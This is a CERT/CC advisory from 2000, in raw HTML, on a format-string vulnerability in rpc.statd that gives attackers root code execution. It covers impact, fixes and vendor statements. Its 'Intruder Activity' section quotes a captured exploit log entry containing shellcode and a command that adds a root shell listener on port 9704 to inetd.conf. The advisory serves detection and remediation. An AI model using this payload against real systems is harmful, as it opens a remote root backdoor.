Original release date: August 18, 2000<BR> Last revised: September 6, 2000<BR> Source: CERT/CC<BR> <P>A complete revision history is at the end of this file. <A NAME="affected"> <H3>Systems Affected</H3> <UL> <LI>Systems running the rpc.statd service</LI> </UL> <A NAME="overview"> <H2>Overview</H2> <P> The CERT/CC has begun receiving reports of an input validation vulnerability in the rpc.statd program being exploited. This program is included, and often installed by default, in several popular Linux distributions. Please see <A HREF="#vendors">Appendix A</A> of this document for specific information regarding affected distributions. <p>More information about this vulnerability is available at the following public URLs:</p> <ul> <li><a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2000-0666">http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2000-0666</a> <li><a href="http://www.securityfocus.com/bid/1480">http://www.securityfocus.com/bid/1480</a> </ul> <A NAME="description"> <H2>I. Description</H2> <P>The rpc.statd program passes user-supplied data to the syslog() function as a format string. If there is no input validation of this string, a malicious user can inject machine code to be executed with the privileges of the rpc.statd process, typically root.</P> <A NAME="intruder_activity"> <H4>Intruder Activity</h4> The following is an example log message from a compromised system illustrating the rpc.statd exploit occurring: <DL> <DD><PRE> Aug XX 17:13:08 victim rpc.statd[410]: SM_MON request for hostname containing '/': ^D<F7><FF><BF>^D<F7><FF><BF>^E<F7><FF><BF>^E<F7><FF><BF>^F<F7> <FF><BF>^F<F7><FF><BF>^G<F7><FF><BF>^G<F7><FF><BF>08049f10 bffff754 000028f8 4d5f4d53 72204e4f 65757165 66207473 6820726f 6e74736f 20656d61 746e6f63 696e6961 2720676e 203a272f 00000000000000000000000000000000000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000000000000000000000000000bffff7 0400000000000000000000000000000000000000000000000bffff7050000bffff70600000000000 00000000000000000000000000000000000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000000000000000000000000000000000 0000000000000bffff707<90><90><90><90><90><90><90><90><90><90><90><90><90><90><90 ><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90 ><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><EB>K^<89>v<AC> <83><EE> <8D>^(<83><C6> <89>^<B0><83><EE> <8D>^.<83><C6> <83><C3> <83><EB>#<89>^ <B4>1<C0><83><EE> <88>F'<88>F*<83><C6> <88>F<AB><89>F<B8><B0>+, <89><F3><8D>N<AC><8D>V<B8><CD><80>1<DB><89><D8>@<CD><80><E8><B0><FF><FF><FF>/bin /sh -c echo 9704 stream tcp nowait root /bin/sh sh -i >> /etc/inetd.conf;killall -HUP inetd </PRE> </DL> <P> If you see log entries similar to those above, we suggest you examine your system for signs of intrusion by following the steps outlined in our <A HREF="http://www.cert.org/tech_tips/intruder_detection_checklist.html">Intruder Detection Checklist</A>. If you believe your host has been compromised, please follow our <A HREF="http://www.cert.org/tech_tips/root_compromise.html"> Steps for Recovering From a Root Compromise</A>. Please check our <a href="http://www.cert.org/current/current_activity.html">Current Activity</a> page for updates regarding intruder activity. </P> <A NAME="impact"> <H2>II. Impact</H2> <P>By exploiting this vulnerability, local or remote users may be able to execute arbitrary code with the privileges of the rpc.statd process, typically root.</P> <A NAME="solution"> <H2>III. Solution</H2> <H4>Upgrade your version of rpc.statd</H4> <P>Please see <A HREF="#vendors">Appendix A</a> of this advisory for more information about the availability of program updates specific to your system. If you are running a vulnerable version of rpc.statd, the CERT/CC encourages you to apply appropriate vendor patches. After making any updates, be sure to restart the rpc.statd service. </P> <H4>Disable the rpc.statd service</H4> <P>If an update cannot be applied, the CERT/CC recommends disabling the rpc.statd service. We advise proceeding with caution, however, as disabling this process can interfere with NFS functionality.</P> <H4>Block unneeded ports at your firewall</H4> <P>As a good security practice in general, the CERT/CC recommends blocking unneeded ports at your firewall. This option does not remedy the vulnerability, but does prevent outside intruders from exploiting it. In particular, block port 111 (portmapper), as well as the port on which rpc.statd is running, which may vary. <P> <A NAME="vendors"> <H2>Appendix A. Vendor Information</H2> <P>This section contains information provided by vendors for this advisory. We will update this appendix as we receive more information. If you do not see your vendor's name, the CERT/CC did not receive a response from that vendor. Please contact your vendor directly.</P> <!-- end vendor --> <A NAME="bsdi"> <H4>Berkeley Software Design, Inc. (BSDI)</H4> No versions of BSD/OS are vulnerable. <!-- end vendor --> <A NAME="caldera"> <H4>Caldera, Inc.</H4> Not vulnerable: None of our products ship with rpc.statd <!-- end vendor --> <A NAME="compaq"> <H4>Compaq</H4> <P>© Copyright 2000 Compaq Computer Corporation. All rights reserved. <P>SOURCE: Compaq Computer Corporation <BR> Compaq Services <BR> Software Security Response Team USA <p>re: input validation problem in rpc.statd <p> This reported problem has not been found to affect the as shipped, Compaq Tru64/UNIX Operating Systems Software. <P> - Compaq Computer Corporation <!-- end vendor --> <A NAME="debian"> <H4>Debian</H4> <A HREF="http://www.debian.org/security/2000/20000719a">http://www.debian.org/security/2000/20000719a</A> <!-- end vendor --> <A NAME="freebsd"> <H4>FreeBSD</H4> FreeBSD is not vulnerable to this problem. <!-- end vendor --> <A NAME="hp"> <H4>Hewlett-Packard Company</H4> HP is NOT Vulnerable to the rpc.statd issue in CERT Advisory CA-2000-17. <!-- end vendor --> <A NAME="netbsd"> <H4>NetBSD</H4> NetBSD 1.4.x and NetBSD 1.5 do not appear to be affected by this problem; all calls to syslog() within rpc.statd take a constant string for the format argument. <!-- end vendor --> <A NAME="openbsd"> <H4>OpenBSD</H4> *Linux* systems running the rpc.statd service!<BR> This affects noone else! <!-- end vendor --> <A NAME="redhat"> <H4>RedHat</H4> <A HREF="http://www.redhat.com/support/errata/RHSA-2000-043-03.html">http://www.redhat.com/support/errata/RHSA-2000-043-03.html</A> <!-- end vendor --> <A NAME="sco"> <H4>Santa Cruz Operation</H4> The Santa Cruz Operation has investigated this vulnerability and has determined that NO SCO products are susceptable to it. SCO does not provide the programs in question, and SCO programs that perform the same or similar functionality are not susceptable to this vulnerability. <!-- end vendor --> <A NAME="sgi"> <H4>Silicon Graphics, Inc.</H4> IRIX rpc.statd is not vulnerable to this security issue. <!-- end vendor --> <A NAME="sun"> <H4>Sun Microsystems, Inc.</H4> Our rpc.statd is not vulnerable to this buffer overflow. <!-- end vendor --> <P> <HR NOSHADE> <P>Authors: <a href="mailto:cert@cert.org?subject=CA-2000-17%20Feedback">John Shaffer</a>, <a href="mailto:cert@cert.org?subject=CA-2000-17%20Feedback">Brian King</a> <P></P> <!--#include virtual="/include/footer_nocopyright.html" --> <P>Copyright 2000 Carnegie Mellon University.</P> <P>Revision History <PRE> Aug 18, 2000: Initial release Aug 21, 2000: Added additional vendor information to Appendix A. Aug 23, 2000: Added vendor information from Hewlett-Packard to Appendix A. Sep 6, 2000: Updated vendor information for Compaq Computer Corporation. </PRE> |